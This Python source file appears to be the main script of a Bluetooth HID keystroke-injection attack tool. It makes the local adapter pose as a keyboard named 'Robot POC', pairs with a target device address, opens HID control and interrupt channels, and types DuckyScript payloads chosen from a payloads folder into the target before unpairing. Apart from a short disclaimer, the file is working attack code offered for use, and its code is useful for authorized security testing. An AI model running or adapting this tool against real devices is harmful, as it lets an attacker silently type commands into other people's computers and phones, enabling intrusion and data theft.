# For authorized security research and educational use only. # Do not use against systems or devices without explicit permission. import binascii, bluetooth, sys, time, datetime, logging, argparse from multiprocessing import Process from pydbus import SystemBus from enum import Enum import subprocess import os from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address) from utils.register_device import register_hid_profile, agent_loop child_processes = [] # ANSI escape sequences for colors class AnsiColorCode: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' WHITE = '\033[97m' RESET = '\033[0m' # Custom log level NOTICE_LEVEL = 25 # Custom formatter class with added color for NOTICE class ColorLogFormatter(logging.Formatter): COLOR_MAP = { logging.DEBUG: AnsiColorCode.BLUE, logging.INFO: AnsiColorCode.GREEN, logging.WARNING: AnsiColorCode.YELLOW, logging.ERROR: AnsiColorCode.RED, logging.CRITICAL: AnsiColorCode.RED, NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level } def format(self, record): color = self.COLOR_MAP.get(record.levelno, AnsiColorCode.WHITE) message = super().format(record) return f'{color}{message}{AnsiColorCode.RESET}' # Method to add to the Logger class def notice(self, message, *args, **kwargs): if self.isEnabledFor(NOTICE_LEVEL): self._log(NOTICE_LEVEL, message, args, **kwargs) # Adding custom level and method to logging logging.addLevelName(NOTICE_LEVEL, "NOTICE") logging.Logger.notice = notice # Set up logging with color formatter and custom level def setup_logging(): log_format = "%(asctime)s - %(levelname)s - %(message)s" formatter = ColorLogFormatter(log_format) handler = logging.StreamHandler() handler.setFormatter(formatter) # Set the logging level to INFO to filter out DEBUG messages logging.basicConfig(level=logging.INFO, handlers=[handler]) class ConnectionFailureException(Exception): pass class Adapter: def __init__(self, iface): self.iface = iface self.bus = SystemBus() self.adapter = self._get_adapter(iface) def _get_adapter(self, iface): try: return self.bus.get("org.bluez", f"/org/bluez/{iface}") except KeyError: log.error(f"Unable to find adapter '{iface}', aborting.") raise ConnectionFailureException("Adapter not found") def _run_command(self, command): result = run(command) if result.returncode != 0: raise ConnectionFailureException(f"Failed to execute command: {' '.join(command)}. Error: {result.stderr}") def set_property(self, prop, value): # Convert value to string if it's not value_str = str(value) if not isinstance(value, str) else value command = ["sudo", "hciconfig", self.iface, prop, value_str] self._run_command(command) # Verify if the property is set correctly verify_command = ["hciconfig", self.iface, prop] verification_result = run(verify_command) if value_str not in verification_result.stdout: log.error(f"Unable to set adapter {prop}, aborting. Output: {verification_result.stdout}") raise ConnectionFailureException(f"Failed to set {prop}") def power(self, powered): self.adapter.Powered = powered def reset(self): self.power(False) self.power(True) def enable_ssp(self): try: # Command to enable SSP - the actual command might differ # This is a placeholder command and should be replaced with the actual one. ssp_command = ["sudo", "hciconfig", self.iface, "sspmode", "1"] ssp_result = run(ssp_command) if ssp_result.returncode != 0: log.error(f"Failed to enable SSP: {ssp_result.stderr}") raise ConnectionFailureException("Failed to enable SSP") except Exception as e: log.error(f"Error enabling SSP: {e}") raise class PairingAgent: def __init__(self, iface, target_addr): self.iface = iface self.target_addr = target_addr dev_name = "dev_%s" % target_addr.upper().replace(":", "_") self.target_path = "/org/bluez/%s/%s" % (iface, dev_name) def __enter__(self): try: log.debug("Starting agent process...") self.agent = Process(target=agent_loop, args=(self.target_path,)) self.agent.start() time.sleep(0.25) log.debug("Agent process started.") return self except Exception as e: log.error(f"Error starting agent process: {e}") raise def __exit__(self, exc_type, exc_val, exc_tb): try: log.debug("Terminating agent process...") self.agent.kill() time.sleep(2) log.debug("Agent process terminated.") except Exception as e: log.error(f"Error terminating agent process: {e}") raise class L2CAPConnectionManager: def __init__(self, target_address): self.target_address = target_address self.clients = {} def create_connection(self, port): client = L2CAPClient(self.target_address, port) self.clients[port] = client return client def connect_all(self): try: return sum(client.connect() for client in self.clients.values()) except ConnectionFailureException as e: log.error(f"Connection failure: {e}") raise def close_all(self): for client in self.clients.values(): client.close() # Custom exception to handle reconnection class ReconnectionRequiredException(Exception): def __init__(self, message, current_line=0, current_position=0): super().__init__(message) time.sleep(2) self.current_line = current_line self.current_position = current_position class L2CAPClient: def __init__(self, addr, port): self.addr = addr self.port = port self.connected = False self.sock = None def encode_keyboard_input(*args): keycodes = [] flags = 0 for a in args: if isinstance(a, Key_Codes): keycodes.append(a.value) elif isinstance(a, Modifier_Codes): flags |= a.value assert(len(keycodes) <= 7) keycodes += [0] * (7 - len(keycodes)) report = bytes([0xa1, 0x01, flags, 0x00] + keycodes) return report def close(self): if self.connected: self.sock.close() self.connected = False self.sock = None def reconnect(self): # Notify the main script or trigger a reconnection process raise ReconnectionRequiredException("Reconnection required") def send(self, data): if not self.connected: log.error("[TX] Not connected") self.reconnect() # Get the current timestamp timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] # Add the timestamp to your log message log.debug(f"[{timestamp}][TX-{self.port}] Attempting to send data: {binascii.hexlify(data).decode()}") try: self.attempt_send(data) log.debug(f"[TX-{self.port}] Data sent successfully") except bluetooth.btcommon.BluetoothError as ex: log.error(f"[TX-{self.port}] Bluetooth error: {ex}") self.reconnect() self.send(data) # Retry sending after reconnection except Exception as ex: log.error(f"[TX-{self.port}] Exception: {ex}") raise def attempt_send(self, data, timeout=0.5): start = time.time() while time.time() - start < timeout: try: self.sock.send(data) return except bluetooth.btcommon.BluetoothError as ex: if ex.errno != 11: # no data available raise time.sleep(0.001) def recv(self, timeout=0): start = time.time() while True: raw = None if not self.connected: return None if self.sock is None: return None try: raw = self.sock.recv(64) if len(raw) == 0: self.connected = False return None log.debug(f"[RX-{self.port}] Received data: {binascii.hexlify(raw).decode()}") except bluetooth.btcommon.BluetoothError as ex: if ex.errno != 11: # no data available raise ex else: if (time.time() - start) < timeout: continue return raw def connect(self, timeout=None): log.debug(f"Attempting to connect to {self.addr} on port {self.port}") log.info("connecting to %s on port %d" % (self.addr, self.port)) sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) sock.settimeout(timeout) try: sock.connect((self.addr, self.port)) sock.setblocking(0) self.sock = sock self.connected = True log.debug("SUCCESS! connected on port %d" % self.port) except Exception as ex: # Color Definition Again just to avoid errors I should've made a class for this. red = "\033[91m" blue = "\033[94m" reset = "\033[0m" error = True self.connected = False log.error("ERROR connecting on port %d: %s" % (self.port, ex)) raise ConnectionFailureException(f"Connection failure on port {self.port}") if (error == True & self.port == 14): print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.") return self.connected return self.connected def send_keyboard_report(self, *args): self.send(self.encode_keyboard_input(*args)) def send_keypress(self, *args, delay=0.0001): if args: log.debug(f"Attempting to send... {args}") self.send(self.encode_keyboard_input(*args)) time.sleep(delay) # Send an empty report to release the key self.send(self.encode_keyboard_input()) time.sleep(delay) else: # If no arguments, send an empty report to release keys self.send(self.encode_keyboard_input()) time.sleep(delay) return True # Indicate successful send def send_keyboard_combination(self, modifier, key, delay=0.004): # Press the combination press_report = self.encode_keyboard_input(modifier, key) self.send(press_report) time.sleep(delay) # Delay to simulate key press # Release the combination release_report = self.encode_keyboard_input() self.send(release_report) time.sleep(delay) def process_duckyscript(client, duckyscript, current_line=0, current_position=0): client.send_keypress('') # Send empty report to ensure a clean start time.sleep(0.5) shift_required_characters = "!@#$%^&*()_+{}|:\"<>?ABCDEFGHIJKLMNOPQRSTUVWXYZ" try: for line_number, line in enumerate(duckyscript): if line_number < current_line: continue # Skip already processed lines if line_number == current_line and current_position > 0: line = line[current_position:] # Resume from the last position within the current line else: current_position = 0 # Reset position for new line line = line.strip() log.info(f"Processing {line}") if not line or line.startswith("REM"): continue if line.startswith("TAB"): client.send_keypress(Key_Codes.TAB) if line.startswith("PRIVATE_BROWSER"): report = bytes([0xa1, 0x01, Modifier_Codes.CTRL.value | Modifier_Codes.SHIFT.value, 0x00, Key_Codes.n.value, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) client.send(report) # Don't forget to send a release report afterwards release_report = bytes([0xa1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]) client.send(release_report) if line.startswith("VOLUME_UP"): # Send GUI + V hid_report_gui_v = bytes.fromhex("a1010800190000000000") client.send(hid_report_gui_v) time.sleep(0.1) # Short delay client.send_keypress(Key_Codes.TAB) # Press UP while holding GUI + V hid_report_up = bytes.fromhex("a1010800195700000000") client.send(hid_report_up) time.sleep(0.1) # Short delayF # Release all keys hid_report_release = bytes.fromhex("a1010000000000000000") client.send(hid_report_release) if line.startswith("DELAY"): try: # Extract delay time from the line delay_time = int(line.split()[1]) # Assumes delay time is in milliseconds time.sleep(delay_time / 1000) # Convert milliseconds to seconds for sleep except ValueError: log.error(f"Invalid DELAY format in line: {line}") except IndexError: log.error(f"DELAY command requires a time parameter in line: {line}") continue # Move to the next line after the delay if line.startswith("STRING"): text = line[7:] for char_position, char in enumerate(text, start=1): log.notice(f"Attempting to send letter: {char}") # Process each character try: if char.isdigit(): key_code = getattr(Key_Codes, f"_{char}") client.send_keypress(key_code) elif char == " ": client.send_keypress(Key_Codes.SPACE) elif char == "[": client.send_keypress(Key_Codes.LEFTBRACE) elif char == "]": client.send_keypress(Key_Codes.RIGHTBRACE) elif char == ";": client.send_keypress(Key_Codes.SEMICOLON) elif char == "'": client.send_keypress(Key_Codes.QUOTE) elif char == "/": client.send_keypress(Key_Codes.SLASH) elif char == ".": client.send_keypress(Key_Codes.DOT) elif char == ",": client.send_keypress(Key_Codes.COMMA) elif char == "|": client.send_keypress(Key_Codes.PIPE) elif char == "-": client.send_keypress(Key_Codes.MINUS) elif char == "=": client.send_keypress(Key_Codes.EQUAL) elif char in shift_required_characters: key_code_str = char_to_key_code(char) if key_code_str: key_code = getattr(Key_Codes, key_code_str) client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) else: log.warning(f"Unsupported character '{char}' in Duckyscript") elif char.isalpha(): key_code = getattr(Key_Codes, char.lower()) if char.isupper(): client.send_keyboard_combination(Modifier_Codes.SHIFT, key_code) else: client.send_keypress(key_code) else: key_code = char_to_key_code(char) if key_code: client.send_keypress(key_code) else: log.warning(f"Unsupported character '{char}' in Duckyscript") current_position = char_position except AttributeError as e: log.warning(f"Attribute error: {e} - Unsupported character '{char}' in Duckyscript") elif any(mod in line for mod in ["SHIFT", "ALT", "CTRL", "GUI", "COMMAND", "WINDOWS"]): # Process modifier key combinations components = line.split() if len(components) == 2: modifier, key = components try: # Convert to appropriate enums modifier_enum = getattr(Modifier_Codes, modifier.upper()) key_enum = getattr(Key_Codes, key.lower()) client.send_keyboard_combination(modifier_enum, key_enum) log.notice(f"Sent combination: {line}") except AttributeError: log.warning(f"Unsupported combination: {line}") else: log.warning(f"Invalid combination format: {line}") elif line.startswith("ENTER"): client.send_keypress(Key_Codes.ENTER) # After processing each line, reset current_position to 0 and increment current_line current_position = 0 current_line += 1 except ReconnectionRequiredException: raise ReconnectionRequiredException("Reconnection required", current_line, current_position) except Exception as e: log.error(f"Error during script execution: {e}") def char_to_key_code(char): # Mapping for special characters that always require SHIFT shift_char_map = { '!': 'EXCLAMATION_MARK', '@': 'AT_SYMBOL', '#': 'HASHTAG', '$': 'DOLLAR', '%': 'PERCENT_SYMBOL', '^': 'CARET_SYMBOL', '&': 'AMPERSAND_SYMBOL', '*': 'ASTERISK_SYMBOL', '(': 'OPEN_PARENTHESIS', ')': 'CLOSE_PARENTHESIS', '_': 'UNDERSCORE_SYMBOL', '+': 'KEYPADPLUS', '{': 'LEFTBRACE', '}': 'RIGHTBRACE', ':': 'SEMICOLON', '\\': 'BACKSLASH', '"': 'QUOTE', '<': 'COMMA', '>': 'DOT', '?': 'QUESTIONMARK', 'A': 'a', 'B': 'b', 'C': 'c', 'D': 'd', 'E': 'e', 'F': 'f', 'G': 'g', 'H': 'h', 'I': 'i', 'J': 'j', 'K': 'k', 'L': 'l', 'M': 'm', 'N': 'n', 'O': 'o', 'P': 'p', 'Q': 'q', 'R': 'r', 'S': 's', 'T': 't', 'U': 'u', 'V': 'v', 'W': 'w', 'X': 'x', 'Y': 'y', 'Z': 'z', } return shift_char_map.get(char) # Key codes for modifier keys class Modifier_Codes(Enum): CTRL = 0x01 RIGHTCTRL = 0x10 SHIFT = 0x02 RIGHTSHIFT = 0x20 ALT = 0x04 RIGHTALT = 0x40 GUI = 0x08 WINDOWS = 0x08 COMMAND = 0x08 RIGHTGUI = 0x80 class Key_Codes(Enum): NONE = 0x00 a = 0x04 b = 0x05 c = 0x06 d = 0x07 e = 0x08 f = 0x09 g = 0x0a h = 0x0b i = 0x0c j = 0x0d k = 0x0e l = 0x0f m = 0x10 n = 0x11 o = 0x12 p = 0x13 q = 0x14 r = 0x15 s = 0x16 t = 0x17 u = 0x18 v = 0x19 w = 0x1a x = 0x1b y = 0x1c z = 0x1d _1 = 0x1e _2 = 0x1f _3 = 0x20 _4 = 0x21 _5 = 0x22 _6 = 0x23 _7 = 0x24 _8 = 0x25 _9 = 0x26 _0 = 0x27 ENTER = 0x28 ESCAPE = 0x29 BACKSPACE = 0x2a TAB = 0x2b SPACE = 0x2c MINUS = 0x2d EQUAL = 0x2e LEFTBRACE = 0x2f RIGHTBRACE = 0x30 CAPSLOCK = 0x39 VOLUME_UP = 0x3b VOLUME_DOWN = 0xee SEMICOLON = 0x33 COMMA = 0x36 PERIOD = 0x37 SLASH = 0x38 PIPE = 0x31 BACKSLASH = 0x31 GRAVE = 0x35 APOSTROPHE = 0x34 LEFT_BRACKET = 0x2f RIGHT_BRACKET = 0x30 DOT = 0x37 RIGHT = 0x4f LEFT = 0x50 DOWN = 0x51 UP = 0x52 # SHIFT KEY MAPPING EXCLAMATION_MARK = 0x1e AT_SYMBOL = 0x1f HASHTAG = 0x20 DOLLAR = 0x21 PERCENT_SYMBOL = 0x22 CARET_SYMBOL = 0x23 AMPERSAND_SYMBOL = 0x24 ASTERISK_SYMBOL = 0x25 OPEN_PARENTHESIS = 0x26 CLOSE_PARENTHESIS = 0x27 UNDERSCORE_SYMBOL = 0x2d QUOTE = 0x34 QUESTIONMARK = 0x38 KEYPADPLUS = 0x57 def terminate_child_processes(): for proc in child_processes: if proc.is_alive(): proc.terminate() proc.join() def setup_bluetooth(target_address, adapter_id): restart_bluetooth_daemon() profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address)) profile_proc.start() child_processes.append(profile_proc) adapter = Adapter(adapter_id) adapter.set_property("name", "Robot POC") adapter.set_property("class", 0x002540) adapter.power(True) return adapter def initialize_pairing(agent_iface, target_address): try: with PairingAgent(agent_iface, target_address) as agent: log.debug("Pairing agent initialized") except Exception as e: log.error(f"Failed to initialize pairing agent: {e}") raise ConnectionFailureException("Pairing agent initialization failed") def establish_connections(connection_manager): if not connection_manager.connect_all(): raise ConnectionFailureException("Failed to connect to all required ports") def setup_and_connect(connection_manager, target_address, adapter_id): connection_manager.create_connection(1) # SDP connection_manager.create_connection(17) # HID Control connection_manager.create_connection(19) # HID Interrupt initialize_pairing(adapter_id, target_address) establish_connections(connection_manager) return connection_manager.clients[19] def troubleshoot_bluetooth(): # Added this function to troubleshoot common issues before access to the application is granted blue = "\033[0m" red = "\033[91m" reset = "\033[0m" # Check if bluetoothctl is available try: subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE) except subprocess.CalledProcessError: print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.") return False # Check for Bluetooth adapters result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True) if "Controller" not in result.stdout: print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.") return False # List devices to see if any are connected result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True) if "Device" not in result.stdout: print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.") return False # if no issues are found then continue return True # Main function def main(): blue = "\033[0m" red = "\033[91m" reset = "\033[0m" parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool") parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)') args = parser.parse_args() adapter_id = args.adapter main_menu() target_address = get_target_address() if not target_address: log.info("No target address provided. Exiting..") return script_directory = os.path.dirname(os.path.realpath(__file__)) payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder. payloads = os.listdir(payload_folder) blue = "\033[0m" red = "\033[91m" reset = "\033[0m" print(f"\nAvailable payloads{blue}:") for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder. print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}") blue = "\033[0m" red = "\033[91m" reset = "\033[0m" payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}") selected_payload = None try: payload_index = int(payload_choice) - 1 selected_payload = os.path.join(payload_folder, payloads[payload_index]) except (ValueError, IndexError): print(f"Invalid payload choice. No payload selected.") if selected_payload is not None: print(f"{blue}Selected payload{reset}: {blue}{selected_payload}") duckyscript = read_duckyscript(selected_payload) else: print(f"{red}No payload selected.") if not duckyscript: log.info("Payload file not found. Exiting.") return adapter = setup_bluetooth(target_address, adapter_id) adapter.enable_ssp() current_line = 0 current_position = 0 connection_manager = L2CAPConnectionManager(target_address) while True: try: hid_interrupt_client = setup_and_connect(connection_manager, target_address, adapter_id) process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position) time.sleep(2) break # Exit loop if successful except ReconnectionRequiredException as e: log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...") current_line = e.current_line current_position = e.current_position connection_manager.close_all() # Sleep before retrying to avoid rapid reconnection attempts time.sleep(2) finally: # unpair the target device blue = "\033[94m" reset = "\033[0m" command = f'echo -e "remove {target_address}\n" | bluetoothctl' subprocess.run(command, shell=True) print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}") if __name__ == "__main__": setup_logging() log = logging.getLogger(__name__) try: if troubleshoot_bluetooth(): main() else: sys.exit(0) finally: terminate_child_processes()